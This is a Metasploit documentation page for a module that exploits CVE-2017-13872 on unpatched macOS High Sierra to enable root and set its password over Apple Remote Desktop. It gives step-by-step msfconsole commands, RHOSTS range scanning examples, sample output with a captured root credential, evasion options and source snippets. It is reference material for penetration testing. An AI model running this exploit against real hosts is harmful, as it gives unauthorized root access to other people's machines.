Apple Remote Desktop Root Vulnerability - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/vnc/ard_root_pw metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apple Remote Desktop Root Vulnerability
Module: auxiliary/scanner/vnc/ard_root_pw
Source code: modules/auxiliary/scanner/vnc/ard_root_pw.rb
Disclosure date: -
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 5900
List of CVEs: CVE-2017-13872
Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/vnc/ard_root_pw
msf auxiliary(ard_root_pw) > show options
... show and set options ...
msf auxiliary(ard_root_pw) > set RHOSTS ip-range
msf auxiliary(ard_root_pw) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(ard_root_pw) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(ard_root_pw) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(ard_root_pw) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module remotely exploits the remote CVE-2017-13872 (iamroot) vulnerability over Apple Remote Desktop protocol (ARD). It assumes that "System Preferences > Sharing > Screen Sharing" is enabled.
Verification Steps
- Do:
use auxiliary/scanner/vnc/ard_root_pw
- Do:
set RHOSTS [IP]
- Do:
run
Scenarios
Running the scanner
msf > use auxiliary/scanner/vnc/ard_root_pw
msf auxiliary(scanner/vnc/ard_root_pw) > set RHOSTS 172.16.143.129
RHOSTS => 172.16.143.129
msf auxiliary(scanner/vnc/ard_root_pw) > run
[*] 172.16.143.129:5900 - Attempting authentication as root.
[*] 172.16.143.129:5900 - Testing login as root with chosen password.
[+] 172.16.143.129:5900 - Login succeeded - root:xaavMPozB2HmDhGX
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Credentials
msf auxiliary(scanner/vnc/ard_root_pw) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
172.16.143.129 172.16.143.129 5900/tcp (vnc) root xaavMPozB2HmDhGX Password
Go back to menu.
Msfconsole Usage
Here is how the scanner/vnc/ard_root_pw auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/vnc/ard_root_pw
msf6 auxiliary(scanner/vnc/ard_root_pw) > show info
Name: Apple Remote Desktop Root Vulnerability
Module: auxiliary/scanner/vnc/ard_root_pw
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
jgor
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Set root account to this password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5900 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
Enable and set root account to a chosen password on unpatched macOS
High Sierra hosts with either Screen Sharing or Remote Management
enabled.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-13872
https://support.apple.com/en-us/HT208315
Module Options
This is a complete list of options available in the scanner/vnc/ard_root_pw auxiliary module:
msf6 auxiliary(scanner/vnc/ard_root_pw) > show options
Module options (auxiliary/scanner/vnc/ard_root_pw):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Set root account to this password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5900 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/vnc/ard_root_pw auxiliary module:
msf6 auxiliary(scanner/vnc/ard_root_pw) > show advanced
Module advanced options (auxiliary/scanner/vnc/ard_root_pw):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/vnc/ard_root_pw module can do:
msf6 auxiliary(scanner/vnc/ard_root_pw) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/vnc/ard_root_pw auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/vnc/ard_root_pw) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
VNC server does not advertise security type ARD.
Here is a relevant code snippet related to the "VNC server does not advertise security type ARD." error message:
70: connect
71: vnc = Rex::Proto::RFB::Client.new(sock)
72: if vnc.handshake
73: type = vnc.negotiate_authentication
74: unless type = Rex::Proto::RFB::AuthType::ARD
75: print_error("VNC server does not advertise security type ARD.")
76: return
77: end
78: print_status("Attempting authentication as root.")
79: if vnc.authenticate_with_type(type, 'root', password)
80: log_credential(password)
VNC handshake failed.
Here is a relevant code snippet related to the "VNC handshake failed." error message:
79: if vnc.authenticate_with_type(type, 'root', password)
80: log_credential(password)
81: return
82: end
83: else
84: print_error("VNC handshake failed.")
85: return
86: end
87: disconnect
88:
89: connect
VNC handshake failed.
Here is a relevant code snippet related to the "VNC handshake failed." error message:
93: if vnc.authenticate_with_user('root', password)
94: log_credential(password)
95: return
96: end
97: else
98: print_error("VNC handshake failed.")
99: return
100: end
101: disconnect
102:
103: connect
VNC handshake failed.
Here is a relevant code snippet related to the "VNC handshake failed." error message:
107: if vnc.authenticate_with_user('root', '')
108: log_credential('')
109: return
110: end
111: else
112: print_error("VNC handshake failed.")
113: return
114: end
115:
116: ensure
117: disconnect
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #9378 Merged Pull Request: Detect and return on bad VNC negotiations
- #9302 Merged Pull Request: Implement ARD auth and add remote CVE-2017-13872 (iamroot) module
References
See Also
Check also the following modules related to this module:
- exploit/osx/local/root_no_password
- auxiliary/scanner/vnc/vnc_login
- auxiliary/scanner/vnc/vnc_none_auth
- auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss
- auxiliary/scanner/http/ipboard_login
- auxiliary/scanner/telephony/wardial
- auxiliary/voip/cisco_cucdm_call_forward
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
- auxiliary/gather/coldfusion_pwd_props
- auxiliary/gather/konica_minolta_pwd_extract
- auxiliary/gather/xerox_pwd_extract
- auxiliary/scanner/http/titan_ftp_admin_pwd
- auxiliary/scanner/printer/canon_iradv_pwd_extract
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/windows/ftp/ftpgetter_pwd_reply
- exploit/windows/ftp/ftpshell51_pwd_reply
- exploit/windows/ftp/xftp_client_pwd
- payload/cmd/windows/powershell/speak_pwned
- payload/windows/speak_pwned
- post/windows/gather/credentials/enum_picasa_pwds
- auxiliary/dos/wireshark/capwap
- auxiliary/gather/corpwatch_lookup_id
- auxiliary/gather/corpwatch_lookup_name
- auxiliary/scanner/http/groupwise_agents_http_traversal
- auxiliary/server/browser_autopwn
- auxiliary/server/browser_autopwn2
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/dlink_dspw215_info_cgi_bof
- exploit/multi/http/phpwiki_ploticus_exec
- exploit/multi/http/shopware_createinstancefromnamedarguments_rce
- exploit/osx/local/tpwn
- exploit/windows/browser/novell_groupwise_gwcls1_actvx
- exploit/windows/novell/groupwisemessenger_client
- post/hardware/rftransceiver/rfpwnon
Related Nessus plugins:
- MacOS 10.13 root Authentication Bypass (Security Update 2017-001)
- macOS 10.13 root Authentication Bypass Direct Check
- macOS 10.13 Authentication Bypass Remote Check (CVE-2017-13872)
- macOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)
- macOS and Mac OS X Multiple Vulnerabilities (Security Update 2017-002 and 2017-005)
Authors
jgor
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.